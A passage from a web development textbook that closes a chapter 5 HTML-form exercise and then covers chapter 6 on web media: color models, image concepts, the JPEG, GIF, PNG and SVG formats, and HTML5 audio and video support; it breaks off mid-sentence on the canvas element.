Figure 5.33 Full Alternative Text

Instructions
1. The form at the top of this page consists of a text box, a list of radio

buttons, and two drop-down lists. For the Genre list, make the other
choices “Baroque,” “Renaissance,” and “Realism.” For the Bulk Actions
list, make the others choices “Archive,” “Edit,” “Delete,” and
“Collection.” The drop-down list items should have numeric values
starting with O. Notice the placeholder text in the search box.

2. Create a table of paintings that looks similar to that shown in Figure
5.33 . Be sure to make the table properly accessible.

3. The checkboxes in the table should be an array of elements, for
example, <input type=“checkbox” name “index[]” value=“10” />.
The name and values are arbitrary, but each checkbox needs to have a
unique value.

4. The action buttons in each row are a series of <button> containers with
a dummy link and an image within the button.

5. Set the form's method attribute to GET and its action attribute to http://
www.randyconnolly.com/tests/process.php.

6. While some of the styling has been provided, you will have to add some
additional CSS styling.

Test

http://www.randyconnolly.com/tests/process.php


1. Test the form in the browser. Verify that the output from process.php
matches that shown in Figure 5.33 .

Project 3: Share Your Travel
Photos

Difficulty Level: Intermediate

Overview
Edit Chapter05-project03.html and Chapter05-project03.css so the page looks
similar to that shown in Figure 5.34 .

Hands-on Exercises
Project 5.3



Figure 5.34 Completed Project



3
Figure 5.34 Full Alternative Text

1. Create the form and position the elements by placing them within a
table. While we do not believe that this is best practice, legacy (i.e.,
older) sites often use tables for layout so it may be sensible to get some
experience with this approach. In the next chapter, you will learn how to
use CSS for layout as a better alternative.

2. For the drop-down lists, add a few sensible items to each list. For the
checkbox list, they should be an array of elements (see step 3 of Project
2). Notice also that this form makes use of a number of HTML5 form
elements.

Test
1. Test the form in the browser. Verify that the output from process.php

matches that shown in Figure 5.34 . Because this form uses HTML5
input elements that are not supported by all browsers, be sure to test in
more than one browser.



6 Web Media



Chapter Objectives
In this chapter you will learn …

What are the two different ways to digitally represent graphic
information

What are the different color models

What are color depth, image size, and resolution

What are the different graphic file formats

What are the different audio and video file formats

How HTML5 provides support for audio and video

This chapter covers the essentials of web media, which here refers to images,
audio, and video. The main focus is on images because almost every web
page will contain some images. The chapter covers the two main ways to
represent graphic information and then moves on to color models. Other
media concepts such as color depth, image size, and display resolution are
also covered, before moving on to the four different image formats supported
by web browsers, namely, GIF, JPG, PNG, and SVG. The chapter then
covers HTML5's support for audio and video files.



6.1 Digital Representations of
Images
When you see text and images on your desktop monitor or your mobile
screen, you are seeing many small squares of colored light called pixels that
are arranged in a two-dimensional grid. These same images and text on the
printed page are not created from pixels, but from small overlapping dots
usually called halftones, as shown in Figure 6.1 .



Figure 6.1 Pixels versus
halftones



Figure 6.1 Full Alternative Text

The point here is that computers are able to output to both screens and
printers, so computers need some way to digitally represent the information
in a way that is potentially independent of the output device.

Everything on the computer ultimately has to be represented in binary, so the
term digital representation ultimately refers to representing information as
numbers. You may recall that text characters are digitally represented using
standardized 8-bit (ASCII) or 16-bit (UNICODE) numbers. This type of
standardization was possible because there are a very finite number of text
characters in any language. There is an infinite variety of images, however,
so there is no possibility to have a standardized set of codes for images.

Instead of standard codes, an image is broken down into smaller components
and those components are represented as numbers. There are two basic
categories of digital representations for images: raster and vector.

In a raster image (also called a bitmap image) the smaller components are
pixels. That is, the image is broken down into a two-dimensional grid of
colored squares, as shown in Figure 6.2 . Each colored square uses a number
that represents its color value. Because a raster image has a set number of
pixels, dramatically increasing or decreasing its size can dramatically affect
its quality.



Figure 6.2 Raster images
Raster images can be manipulated on a pixel-by-pixel basis by painting
programs such as Adobe Photoshop, Apple Aperture, Microsoft Paint, or the
open-source GIMP (see Figure 6.3 ). As you shall see later in the chapter,
three of the main image file formats supported by web browsers are raster file
formats.



Figure 6.3 Raster editors
A vector image is not composed of pixels but instead is composed of objects
such as lines, circles, Bezier curves, and polygons as shown in Figure 6.4 .
Font files are also an example of vector-based digital representation.



Figure 6.4 Vector images
The main advantage of vector images is that they are resolution independent,
meaning that while both vector and raster images are displayed with pixels
(or dots), only vector images can be shrunken or enlarged without a loss of
quality, as shown in Figure 6.5 .





Figure 6.5 Resizing vector
images versus raster images

Figure 6.5 Full Alternative Text

Adobe Illustrator, Microsoft Visio, Adobe Animate (formerly Adobe Flash),
Affinity Designer (Mac only), and the open-source Inkscape are all examples
of vector drawing programs. As you shall see later, there is a vector-based
file format (SVG) that is now supported by all browsers, but whose usage
still remains relatively low.



6.2 Color Models
Both raster and vector images need a way to describe color. As you have
already seen, in HTML and CSS there are a variety of different ways to
specify color on the web. The simplest way is to use color names, which is
fine for obvious colors such as red and white, but perhaps a trifle ambiguous
for color names such as Gainsboro and Moccasin.

6.2.1 RGB
The more common way to describe color in HTML and CSS is to use the
hexadecimal #RRGGBB form in which a number between 0 and FF (255 in
decimal) is used for the red, green, and blue values. You may recall (from
Table 4.2) that you can also specify a color in CSS with decimal numbers
using the notation: rgb(100,55,245). These are examples of the most
commonly used color model, namely, the RGB (for Red-Green-Blue) color
model.

A substantial percentage of the human visible color spectrum can be
displayed using a combination of red, green, and blue lights, which is
precisely what computer monitors, television sets, and mobile screens do to
display color. Each tiny pixel in an RGB device is composed of even tinier
red, green, and blue subpixels. Because the RGB colors combine to create
white, they are also called additive colors. That is, the absence of colored
light is black; adding all colors together creates white, as can be seen in
Figure 6.6 .



Figure 6.6 RGB color model
Figure 6.6 Full Alternative Text

You may wonder how to go about finding the proper RGB numbers for a
given color. There are a number of tools to help you. Your image editor can
do it; there are also a wide variety of online sites and browser extensions that
provide color pickers, some of which allow you to sample a color from any
website (see Figure 6.7 ).



Figure 6.7 Picking RGB colors
Figure 6.7 Full Alternative Text

6.2.2 CMYK
The RGB color model is ideal for websites since they are viewed on RGB
devices. However, not every image will be displayed on an RGB device.
Some images are printed, and because printers do not output colored light but
colored dots, a different color model is necessary, namely, the CMYK color
model for Cyan-Magenta-Yellow-Key (or blacK).



In traditional color printing, color is created through overlapping cyan,
magenta, yellow, and black dots that from a distance create the illusion of the
combined color, as shown in Figure 6.8 .

Figure 6.8 CMYK color model
Figure 6.8 Full Alternative Text

As white light strikes the color ink dots, part of the visible spectrum is
absorbed and part is reflected back to your eyes. For this reason, these colors
are called subtractive colors. In theory, pure cyan (C), magenta (M), and
yellow (Y) ink should combine to absorb all color and produce black.
However, due to the imperfection of printing inks, black ink (K) is also
needed (and also to reduce the amount of ink needed to create dark colors).

Since this is a book on web development, it will not really be concerned with
the CMYK color model. Nonetheless, it is worth knowing that the range of
colors that can be represented in the CMYK model is not the same as the



range of colors in the RGB model. The term gamut is often used in this
context. A gamut is the range of colors that a color system can display or
print. The spectrum of colors seen by the human eye is wider than the gamut
available in any color model. At any rate, as can be seen in Figure 6.9 , the
color gamut of CMYK is generally smaller than that of RGB.

Figure 6.9 Color gamut
Figure 6.9 Full Alternative Text

The practical consequence of this is that an RGB image might not look the
same when it is printed on a CMYK device; bright saturated (see the HSL
discussion below for definition) colors in particular will appear less bright,
less saturated when printed. Modern desktop inkjet printers sometimes now
use a fifth and sixth ink color to help increase the gamut of its printed colors.



6.2.3 HSL
When you describe a color in the real world, it is unlikely that you say “that
shirt is a nice #33CA8F color.” Instead you use more descriptive phrases
such as “that shirt has a nice bright and rich green color to it.” The HSL color
model (also called the HSB color model, in which the B stands for
brightness) is more closely aligned to the way we generally talk about color.
It breaks a color down into three components: hue (what we generally refer to
as color), saturation (the intensity or strength of a color; the less the
saturation, the grayer the color), and lightness (that is, the relative lightness or
darkness of a color). Figure 6.10 illustrates the HSL color model.

Figure 6.10 HSL color model



Figure 6.10 Full Alternative Text

CSS3 introduced a new way to describe color that supports the HSL model
using the notation: hsl(hhh, ss%, bb%). With this notation, the hue is an
angle between 0 and 360 (think of hue as a circle), the saturation is a
percentage between 0 and 100, where 0% is completed desaturated (gray)
while 100% is fully saturated, and the luminosity is a percentage between 0
and 100, with 0% being pure dark (black), and 100% being pure bright
(white).

6.2.4 Opacity
There is another dimension to color that is independent of the color model
and which is supported by many image editors as well as CSS3. That other
dimension is opacity, that is, the degree of transparency in the color. This
value is also referred to as alpha transparency. The idea behind opacity is that
the color that is displayed will vary depending on what colors are “behind” it,
as shown in Figure 6.11 .



Figure 6.11 Opacity settings
Figure 6.11 Full Alternative Text

Opacity is typically a percentage value between 0 and 100 (or between 0 and
1.0). In CSS3, there is an opacity property that takes a value between 0 and
1.0. An opacity value of 0 means that the element has no opacity, that is, it
is fully transparent. An opacity value of 100 means that the element is fully
opaque; that is, it has no transparency. You can also add opacity values to a
color specification using the rgba() or hsla() functions in CSS, as shown in
Figure 6.12 .

Figure 6.12 Specifying the
opacities shown in Figure 6.11



using CSS3
Figure 6.12 Full Alternative Text

6.2.5 Gradients
A gradient is a transition or blend between two or more colors. In the past,
when gradients were used, for instance, as a web page background, they were
generated in a raster editor, such as Photoshop, and referenced via the
background-image CSS property. All modern browsers now support linear
and radial gradients within CSS that do not require any image files, as
illustrated in Figure 6.13 .



Figure 6.13 Example CSS
gradients

Figure 6.13 Full Alternative Text

You will notice that the gradients in this example are still used in conjunction
with the background-image property. Gradients can only be used with CSS
properties that are expecting an image type because CSS gradients are
actually an image generated by the browser. As well, you will notice that



gradients in CSS are specified using CSS functions, which have a similar
syntax as functions in programming languages such as JavaScript.

6.2.6 Color Relationships
If you ever find yourself in an introduction to painting course, one of the key
things you learn is that colors exist in a relationship with one another.
Humans are not cameras; our brains do not dispassionately register a color's
hue, saturation, and brightness. Instead we see colors in relationship to other
colors. That is, the way we perceive a color changes based on the other colors
that are in close proximity. Similarly, colors can evoke certain emotions and
impressions, many of which are culturally determined.

Artists often use the color wheel, shown in Figure 6.14 , to help understand
and work with color. You might notice that the color wheel is quite different
from the RGB and CMYK color models, which are ways to produce color
with light or ink. The artist color wheel is helpful for creating pleasing
combinations of colors, a sometimes tricky problem for which the RGB,
CMYK, and HSL models cannot supply answers.



Figure 6.14 Artist color wheel
Figure 6.14 Full Alternative Text

Artists and color experts have codified many of the relationships between
colors in this wheel, and have given names and attributes to these color
relationships. A full elaboration of these relationships is beyond the scope of
this book. Nonetheless, it is helpful to be familiar with some of these
relationships, which are shown in Figure 6.15 .





Figure 6.15 Color relationships
Figure 6.15 Full Alternative Text

The point here is that the colors you use in a website should not be chosen at
random, but should work together in some manner. Perhaps you are creating
a site that should communicate energy, freshness, and youth. In such a case, a
color scheme using complementary or split complementary colors will work
best. Or perhaps you are creating a site that wants to communicate
permanence and stability; in such a case an analogous color scheme might
help.

Programmers are not always the best judges of good color combinations.
Sometimes you will have a visual designer who will handle these decisions.
But for smaller projects, you may need to make those decisions yourself. If
you are not completely confident in your ability to pick harmonious color
combinations, there are a variety of online tools that can help you, as shown
in Figure 6.16 .





Figure 6.16 Online color
scheme tools

Figure 6.16 Full Alternative Text



6.3 Image Concepts
There are a number of other concepts that you should be familiar with in
order to fully understand digital media. The first of these is the essential
concept of color depth.

6.3.1 Color Depth
Color depth refers to the maximum number of possible colors that an image
can contain. For raster images, this value is determined by the number of bits
used to represent the color or tone information for each pixel in the image.
Figure 6.17 illustrates how an image containing pixels is ultimately
represented by a series of numbers.

Figure 6.17 Visualizing image
color depth

Figure 6.17 Full Alternative Text

The more bits used to represent the color, the more possible colors an image
can contain. An image that is using just 4 bits per pixel to represent color
information can only represent 16 possible colors; an image using 24 bits per



pixel can represent millions. The number of bits used to represent a color is
not arbitrary. Table 6.1 lists the main possibilities.

It should also be mentioned that image color depth is not the same thing as
device color depth, which refers to the number of simultaneous colors a
device can actually display. A decade ago, video card memory was a limiting
factor, but this is rarely the case any more. Instead, display devices are now
the main limiting factor. Most home and business-class LCD monitors are in
fact often only 18-bit display devices, meaning that they can only display
262,144 colors. LCD monitors that can display true 24-bit color are more
expensive and for that reason a bit more uncommon.

Table 6.1 Image Color Depth
Possibilities

#
Bits/Pixel Description

8 bits or
less

Sometimes referred to as indexed color. No more than
28 or 256 colors can be represented. Using 7 bits per
pixel would allow only 128 colors, 6 bits per pixel
would allow only 64 colors, 5 bits = 32 colors, 4 bits =
16 colors, 3 bits = 8 colors, 2 bits = 4 colors, and 1 bit =
2 colors.

24 bits
Also called true color. 16.8 million colors can be
represented. Eight bits each are used for red, green, and
blue information.

32 bits Same as 24 bit, but 8 bits of alpha transparency
information is added.

48 bits
16 bits per red, green, and blue. While not supported in
browsers, these deep color image depths are supported
by specialized photo editing software.

Monitors limited to less than true color create the illusion of more colors by
dithering the available colors in a diffuse pattern of pixels, as shown in



Figure 6.18 . Image editors also use dithering to convert 24-bit color images
to 8-bit color images.

Figure 6.18 Dithering
Figure 6.18 Full Alternative Text

6.3.2 Image Size
Raster images contain a fixed number of pixels; as such, image size refers to
how many pixels it contains, usually expressed by how many pixels wide by
how many pixels high it is. Notice that you do not use real-world
measurement units such as inches or centimeters to describe the size of an
image. The size of an image on-screen is determined by the pixel dimensions
of the image, the monitor size, and the computer's display resolution, only
one of which is at the control of the web designer.

Hands-on Exercises Lab 6
Exercise



Resizing Images

Whenever you resize (either larger or smaller) a raster image, the program
(the browser, Photoshop, or any other program) doing the resizing must
interpolate, that is, add pixels to the image based on what is in the image
already. This may sound like a trivial problem, but as can be seen in Figure
6.19 , it is difficult to write a software algorithm to do a task that doesn't have
a completely satisfactory solution.



Figure 6.19 Interpolating
Figure 6.19 Full Alternative Text

The key point here is that resizing an image always reduces its quality. The
result is that the image will become fuzzy and/or pixelated depending on the
interpolation algorithm that is being used, as you have already seen in Figure
6.5 and also in Figure 6.20 .

Figure 6.20 Enlarging versus
reduction



Figure 6.20 Full Alternative Text

Making an image larger degrades the image much more than making it
smaller, as can be seen in Figure 6.20 . As well, increasing the size just a
small percentage (say 10-20%) may likely result in completely satisfactory
results. Similarly, photographic content tends to look less degraded than text
and nonphotographic artwork and logos.

By far the best way to change the size of a nonphotographic original is to
make the change in the program that created it (e.g., by increasing/decreasing
the font size, and changing the size of vector objects), as shown in Figure
6.21 .



Figure 6.21 Resizing artwork in
the browser versus resizing



originals
Figure 6.21 Full Alternative Text

If a photographic image needs to be increased in size, one should ideally do it
by downsizing a large original. For this reason, you should ideally keep large
originals of your site's photographic images.

If you do not have access to larger versions of a photographic image and you
need to enlarge it, then you will get better results if you enlarge it in a
dedicated image editing program than in the browser, as such a program will
have more sophisticated interpolation algorithms than the browser, as can be
seen in Figure 6.22 . But as you saw back in Figure 6.20 , significantly
increasing the size of a small raster image is going to look unacceptably poor,
even if you do use an image editing program.



Figure 6.22 Interpolation



algorithms
Figure 6.22 Full Alternative Text

6.3.3 Display Resolution
The display resolution refers to how many pixels a device can display. This is
partly a function of hardware limitations as well as settings within the
underlying operating system. Like image size, it is expressed in terms of the
number of pixels horizontally by the number of pixels vertically. Some
common display resolutions include: 1920 × 1600 px, 1280 × 1024 px, 1024
× 768 px, and 320 × 480 px.

The physical size of pixels and their physical spacing will change according
to the current display resolutions and monitor size. Thus, any given web page
(and its parts) will appear smaller on a high-resolution system (and larger on
a low-resolution system), as shown in Figure 6.23 .





Figure 6.23 Effect of display
resolution versus monitor size

Figure 6.23 Full Alternative Text

Dive Deeper
With new high-density displays (such as iPad retina displays), the idea of
display resolution has become more complicated because while these devices
have more pixels, they are packed into a smaller space. If they used a one-to-
one mapping between the pixels in an image to the pixels on the screen,
images would be too small. As a consequence, these devices use something
called a device-independent pixel (also called a CSS pixel or a reference
pixel), which is an abstract pixel that is mapped to one or more underlying
device pixels. For instance, the iPhone 6 has an actual physical display
resolution of 750 × 1334 px, yet at the browser, from a reference pixel
perspective, it claims it has a display resolution of 375 × 667 px.

This means there are three types of pixels: image pixels (pixels in the raster
image file), device pixels (pixels in actual display device), and device-
independent/CSS pixels (abstract pixels used by the browser). Figure 6.24
illustrates the relationship between these pixels.



Figure 6.24 Pixels in high-



density displays
Figure 6.24 Full Alternative Text

As you can see in Figure 6.24 , these high-density displays can display more
pixels per inch/cm. As a consequence, images optimized for normal density
displays tend to look a trifle pixelated or blurry on a high-density display
(because the smaller images are being effectively enlarged by the browser).
However, serving high-density images to all users, regardless of their display
device, and then resizing them smaller via CSS for regular density displays,
is inefficient and expensive from a bandwidth perspective.

The typical solution to this problem is to make use of CSS media queries
(covered in the next chapter). In HTML5.1, the srcset attribute of the <img>
element or the <picture> element (both also covered in the next chapter)
provide alternative solutions.



6.4 File Formats
Several years ago, this would have been a much simpler section to write. Up
until the later 2000s, there were really only two file formats that had complete
cross-browser support: JPEG and GIF. With the retirement of IE6, a third file
format, PNG, became available, which over time was meant to replace most
of the uses for the GIF format. All recent browsers now support SVG, which
is a vector image file format.

6.4.1 JPEG

Hands-on Exercises Lab 6
Exercise
Saving a JPEG

JPEG (Joint Photographic Experts Group) or JPG is a 24-bit, true-color file
format that is ideal for photographic images. It uses a sophisticated
compression scheme that can dramatically reduce the file size (and hence
download time) of the image, as can be seen in Figure 6.25 .



Figure 6.25 JPEG file format
Figure 6.25 Full Alternative Text

It is, however, a lossy compression scheme, meaning that it reduces the file
size by eliminating pixel information with each save. You can control the
amount of compression (and hence the amount of pixel loss) when you save a
JPEG. At the highest levels of compression, you will begin to see blotches
and noise (also referred to as artifacts) appear at edges and in areas of flat
color, as can be seen in Figure 6.26 .



Figure 6.26 JPEG artifacts
Figure 6.26 Full Alternative Text

JPEG is the ideal file format for photographs and other continuous-tone
images such as paintings and grayscale images. As can be seen in Figure 6.27
, the JPEG format is quite poor for vector art or diagrams or any image with a
large area of a single color, due to the noise pattern of compression garbage
around the flat areas of color and at high-contrast transition areas.



Figure 6.27 JPEG and art work
Figure 6.27 Full Alternative Text

Note
Each time you save a JPEG, the quality gets worse, so ideally keep a
nonlossy (also called lossless), non-JPG version (such as TIF or PNG) of the
original as well.

6.4.2 GIF

Hands-on Exercises Lab 6
Exercise
Saving a GIF

The GIF (Graphic Interchange Format) file was the first image format
supported by the earliest web browsers. Unlike the 24-bit JPEG format, GIF
is an 8-bit or less format, meaning that it can contain no more than 256
colors. It is ideal for images with flat-bands of color, or with limited number
of colors; it is not very good for photographic images due to the 256-color
limit, as can be seen in Figure 6.28 .



Figure 6.28 GIF file format
Figure 6.28 Full Alternative Text

GIF files use a much simpler compression system that is lossless, which
means that no pixel information is lost. The compression system, illustrated
in Figure 6.29 , is called run-length compression (also called LZW
compression). As can be seen in Figure 6.29 , images that have few



horizontal changes in color will be compressed to a much greater degree than
images with many horizontal changes. For this reason, GIF is ideal for
vector-based art and logos.

Figure 6.29 Run-length
compression

Figure 6.29 Full Alternative Text

8-Bit or Less Color
The GIF file format uses indexed color, meaning that an image will have 256
or fewer colors. You might be wondering which 256 (or fewer) colors? Index
color files dedicate 8 bits (or fewer) to each color pixel in the image. Those 8
or fewer bits for each pixel reference (or index) a color that is described in a
color palette (also called a color table or color map), as shown in Figure 6.30
.



Figure 6.30 Color palette



Figure 6.30 Full Alternative Text

Different GIF files can have different color palettes. Back when most
computers displayed only 256 colors, it was common for designers to use the
so-called web-safe color palette, which contained the 216 colors that were
shared by the Windows and Mac system palettes. While there is less need to
use this palette today, one of the strengths of indexed color is that the
designer can optimize it to reduce file sizes while maintaining image quality.

For instance, in Figure 6.30 , the image being saved as a GIF has relatively
few colors so it is a good candidate for GIF optimization. At first glance the
image appears to consist of only three colors, but that isn't in fact true; if you
zoom in to the edges, you can see that there are indeed many more than three
colors.

Optimizing GIF images is thus a trade-off between trying to reduce the size
of the file as much as possible while at the same time maintaining the image's
quality. As can be seen in Figure 6.31 , you eventually reach a point of
diminishing returns, where the file size savings are too small, and as well
where the image quality begins to suffer. Though it may be difficult to tell
with the printed version of the image in Figure 6.31 , when viewed in a
browser, the image quality starts to noticeably suffer around 5 bits per pixel.



Figure 6.31 Optimizing GIF
images

Figure 6.31 Full Alternative Text

Transparency
One of the colors in the color lookup table (i.e., the palette) of the GIF can be
transparent. When a color is flagged as transparent, all occurrences of that
color in the GIF will be transparent, meaning that any colors “underneath”
the GIF (such as colored HTML elements or CSS-set image backgrounds)
will be visible, as can be seen in Figure 6.32 .



Figure 6.32 GIF transparency
Figure 6.32 Full Alternative Text

However, because GIF has only 1-bit transparency (that is, a pixel is either
fully transparent or fully opaque), transparent GIF files can also be
disappointing when the graphic contains anti-aliased edges with pixels of
multiple colors. Anti-aliasing refers to the visual “smoothing” of diagonal
edges and contrast edges via pixels of intermediate colors along boundary
edges. With only 1 bit of transparency, these anti-aliased edges often result in
a “halo” of color when you set a transparent color in a GIF, as can be seen in
Figure 6.33 .



Figure 6.33 GIF transparency
and anti-aliasing

Figure 6.33 Full Alternative Text

Animation
GIFs can also be animated. Animations are created by having multiple
frames, with each frame the equivalent of a separate GIF image. You can



specify how long to pause between frames and how many times to loop
through the animation. GIF animations were de rigueur back in the middle
1990s, but after that, were mainly used only for advertisements or for
creating retro-web experiences.

More recently, a new technique known as cinemagraphs have revitalized
interest in the old animated GIF. A cinemagraph is mainly a still photo, but it
contains some subtle animated elements within it. For instance, a still
photograph of a person in front of a tree might contain a few moving and
rustling leaves, thereby combining the virtue of pictures (small file size in
comparison to video) and videos (our intrinsic interest in moving objects).
Cinemagraphs are typically created using specialized software (such as
Cinemagraph Pro or Photoshop) that begins with frames from a video and
then saves the results as an animated GIF.

6.4.3 PNG
The PNG (Portable Network Graphics) format is a more recent format, and
was created when it appeared that there were going to be patent issues in the
late 1990s with the GIF format. Its main features are as follows:

Lossless compression.

8-bit (or 1-bit, 2-bit, and 4-bit) indexed color as well as full 24-bit true
color (higher color depths are supported as well).

From 1 to 8 bits of transparency.

For normal photographs, JPEG is generally still a better choice because the
file size will be smaller than using PNG. For images that contain mainly
photographic content, but still have large areas of similar color, then PNG
will be a better choice. PNG is usually a better choice than GIF for artwork or
if nonsingle color transparency is required. If that same file requires
animation or needs to be displayed by IE7 or earlier, then GIF is a better
choice.



Hands-on Exercises Lab 6
Exercise
Saving a PNG

One of the key benefits of PNG is its support for 8 bits (i.e., 256 levels) of
transparency. This means that pixels can become progressively more and
more transparent along an image's anti-aliased edges, eliminating the
transparency halo of GIF images. Figure 6.34 illustrates how PNG
transparency improves the transparency effect of the same image as Figure
6.33 .



Figure 6.34 PNG transparency
Figure 6.34 Full Alternative Text

6.4.4 SVG
The SVG (Scalable Vector Graphics) file format is a vector format, and now
has reasonably solid browser support. Like all vector formats, SVG graphics
do not lose quality when enlarged or reduced. Of course, vector images
generally do not look realistic, but are a sensible choice for line art, charts,
and logos. In the contemporary web development world, in which pages must
look good on a much wider range of output devices than a decade ago, SVG
will likely be used more in the future than is the case today.

SVG is an open-source standard, and the files are actually XML files, so they
could potentially be created in a regular text editor, though of course it is
more common to use a dedicated drawing program. Furthermore, SVG files
end up being part of the HTML document, thus they can be manipulated by
JavaScript and CSS.

Figure 6.35 illustrates an example of SVG in the browser along with the
SVG's XML source. You use SVG files in the same way as GIF or JPGs, that
is, with the <img> element or in an CSS property such as background-image.



Figure 6.35 SVG example
Figure 6.35 Full Alternative Text

6.4.5 Other Formats
There are many other file formats for graphical information. Because most
cannot be viewed by browsers, we are not interested in them as web
developers. But as developers who work with images, it might make sense to
have some knowledge of at least one other file format.

The TIF (Tagged Image File) format is a cross-platform lossless image
format that supports multiple color depths, 8-bit transparency, layers and
color channels, the CMYK and RGB color space, and other features



especially useful to print professionals. TIF files are often used as a way to
move graphical information from one application to another with no loss of
information.

WebP is a new image file format promoted by Google. It supports both lossy
and lossless compression, and Google claims WebP compression results are
superior in comparison to JPG or PNG formats. Lossless WebP also supports
transparency. At the time of writing, however, only Chrome and Opera
support this format.

Pro Tip
There is another web file format (.ico) whose sole use is for favicon (short
for favorite icon) images. This favicon appears within browser tabs or
bookmarks for the page. The favicon for a page is generally specified using
the <link> element.

<link rel=“icon” href=“http://www.funwebdev.com/favicon.ico” />

Some browsers are able to locate the favicon even without this <link>
element if a file named favicon.ico is in the site's root folder.



6.5 Audio and Video
While audio and video have been a significantly important part of the web
experience for many users, adding audio and video capabilities to web pages
has tended to be an advanced topic seldom covered in most introductory
books on web development. A big reason for that is that until HTML5,
adding audio or video to a web page typically required making use of
additional, often proprietary, plug-ins to the browser. Perhaps the most
common way of adding audio and video support until recently was through
Adobe Flash (now called Adobe Animate), a technology we will briefly
introduce in Chapter 8.

In Chapter 8, you will learn that Flash was a vector-based drawing and
animation program, a video file format, and a software platform that has its
own JavaScript-like programming language called ActionScript. Flash is
often used for animated advertisements, online games, and can also be used
to construct web interfaces. Flash objects are added to a web page using the
<object> element; once downloaded, the object is executed by the Flash
plug-in that has to be installed in the browser. Flash was never supported by
the mobile Safari browser and as a consequence the importance of Flash has
decreased dramatically in the past decade.

It is possible now with HTML5 to add these media features in HTML without
the involvement of any plug-in. Unfortunately, the browsers do not support
the same list of media formats, so browser incompatibilities are still a
problem with audio and video.

6.5.1 Media Concepts
If you thought that it was confusing that there are three different image file
formats, then be prepared for significantly more confusion. There are a lot of
different audio and video formats, many with odd and unfamiliar names like
OGG and H.264. While this book will not go into the details of the different



media formats like it did with the different image formats, it will briefly
describe two concepts that are essential to understanding media formats.

The first of these is media encoding (also called media compression). Audio
and video files can be very large, and thus rely on compression. Videos that
are transported across the Internet will need to be compressed significantly
more than videos that are transported from a DVD to a player.

Media is encoded using compression/decompression software, usually
referred to as a codec (for compression/decompression). There are literally
thousands of codecs. Like with image formats, different codecs vary in terms
of losslessness, compression algorithms, color depth, audio sampling rates,
and so on. While the term codec formally refers only to the programs that are
compressing/decompressing the video, the term is often also commonly used
to refer to the different compression/decompression formats as well. For web-
based video, there are three main codecs: H.264, Theora, and VP8. For audio,
there are three main audio codecs: MP3, AAC, and Vorbis.

The second key concept for understanding media formats is that of container
formats. A video file, for instance, contains audio and images; the container
format specifies how that information is stored in a file, and how the different
information within it is synchronized. A container then is similar in concept
to ZIP files: both are compressed file formats that contain other content.

Like with codecs, there are a large number of container formats. A given
container format may even use different media encoding standards, as shown
in Figure 6.36 .



Figure 6.36 Media encoding
and containers

Figure 6.36 Full Alternative Text

With this knowledge, we can now understand what happens when you watch
a video on your computer. Your video player is actually doing three things
for you. It is examining and extracting information from the container format
used by the file. It is decoding the video stream within the container using a
video codec. And finally, it is decoding the audio stream within the container
using an audio codec and synchronizing it with the video stream.



6.5.2 Browser Video Support
For videos at present there appear to be three main combinations of codecs
and containers that have at least some measure of common browser support.

MP4 container with H.264 Video and AAC Audio. This combination is
generally referred to as MPEG-4 and has the .mp4 or .m4v file
extension. H.264 is a powerful video codec, but because it is patented
and because the browser manufacturer must pay a licensing fee to
decode it, not all browsers support it.

WebM container with VP8 video and Vorbis audio. This combination
was created by Google to be open-source and royalty free. Files using
this combination usually have the .webm file extension.

Ogg container with Theora video and Vorbis audio. Like the previous
combination, this one is open-source and royalty free. Files using this
combination usually have the .ogv file extension.

Table 6.2 lists the current browser support for these different combinations at
the time of writing. Until very recently there was no single video container
and codec combination that worked in every HTML5 browser.

Table 6.2 Browser Support for
Video Formats (as of Spring
2016)

Type Edge Chrome FireFox Safari Opera Android
MP4+H.264+AAC Y Y Y Y Y Y
WebM+VP8+Vorbis N Y Y N Y Y
Ogg+Theora+Vorbis N Y Y N Y N



For the foreseeable future at least, if you intend to provide video in your
pages, you will need to serve more than one type. Thankfully, HTML5 makes
this a reasonably painless procedure. Figure 6.37 illustrates how the <video>
element can be used to include a video in a web page. Notice that it allows
you to still use Flash video as a fallback.



Figure 6.37 Using the <video>
element



Figure 6.37 Full Alternative Text

Hands-on Exercises Lab 6
Exercise
Video and Audio Elements

Each browser handles the user interface of video (and audio) in its own way,
as shown in Figure 6.37 . But because the <video> element is HTML, its
elements can be styled in CSS and its playback elements customized or even
replaced using JavaScript.

Pro tip
To make your video more accessible, you can add the <track> element to the
<video> container. This is an optional element that can be used to add
subtitles, captions, or text descriptions contained within a WebVTT file.
However, at the time of writing, the <track> element is only supported by
Safari and Edge browsers.

6.5.3 Browser Audio Support
Audio support is a somewhat easier matter than video support. Like with
video, there are different codecs and different containers, none of which have
complete support in all browsers.

MP3. Both a container format and a codec. It is patented and requires
browser manufacturers to pay licensing fees. Usually has the .mp3 file
extension.

WAV. Also a container and a codec. Usually has the .wav file extension.



Pro Tip
Not every server is configured to serve video or audio files. Some
servers will need to be configured to serve and support the appropriate
MIME (Multipurpose Internet Mail Extensions) types for audio and
video. For Apache servers, this will mean adding the following lines to
the server's configuration file:

AddType audio/mpeg mp3 

AddType audio/mp4 m4a 

AddType audio/ogg ogg 

AddType audio/ogg oga 

AddType audio/webm webma 

AddType audio/wav wav 

AddType video/ogg .ogv 

AddType video/ogg .ogg 

AddType video/mp4 .mp4 

AddType video/webm .webm 

For IIS servers, you have to do something similar. Instead of editing a
configuration file, you would add these values via the IIS Manager.

Chapter 22 covers MIME types in more detail.

OGG. Container with Vorbis audio. Open-source. Usually has the .ogg
file extension.

Web. Container with Vorbis audio. Open-source. Usually has the .webm
file extension.

MP4. Container with AAC audio. Also requires licensing. Usually has
the .m4a file extension.

Table 6.3 lists the current support for these different audio combinations at
the time of writing.

Table 6.3 Browser Support for



Audio Formats (as of Spring
2016)

Type Edge Chrome FireFox Safari Opera Android
MP3 Y Y Y Y Y Y
WAV Y Y Y Y Y Y
OGG+Vorbis N Y Y N Y Y
WebM+Vorbis N Y Y Y Y Y
MP4+AAC Y Y Partial Y Y Y

Like with video, if you intend to provide audio in your pages, you will need
to serve more than one type. Figure 6.38 illustrates the use of the HTML5
<audio> as well as its differing appearance in different browsers. Like with
the <video> element, the <audio> element can be restyled with CSS and
customized using JavaScript.



Figure 6.38 Using the <audio>
element

Figure 6.38 Full Alternative Text

Pro Tip
Another web media element in HTML5 is the <canvas> element, a two-
dimensional drawing surface that uses JavaScript coding to perform the
actual drawing.

The <canvas> element is often compared to the Flash environment, since like
Flash the <canvas> element can be used to create animations, games, and



other forms of interactivity. Unlike with Flash, which provides a
sophisticated interface for drawing and animating objects without
programming, creating similar effects using the <canvas> element at present
can only be achieved via JavaScript programming. There are a variety of
specialized JavaScript libraries such as KineticJS, EaselJS, and Fabric.js to
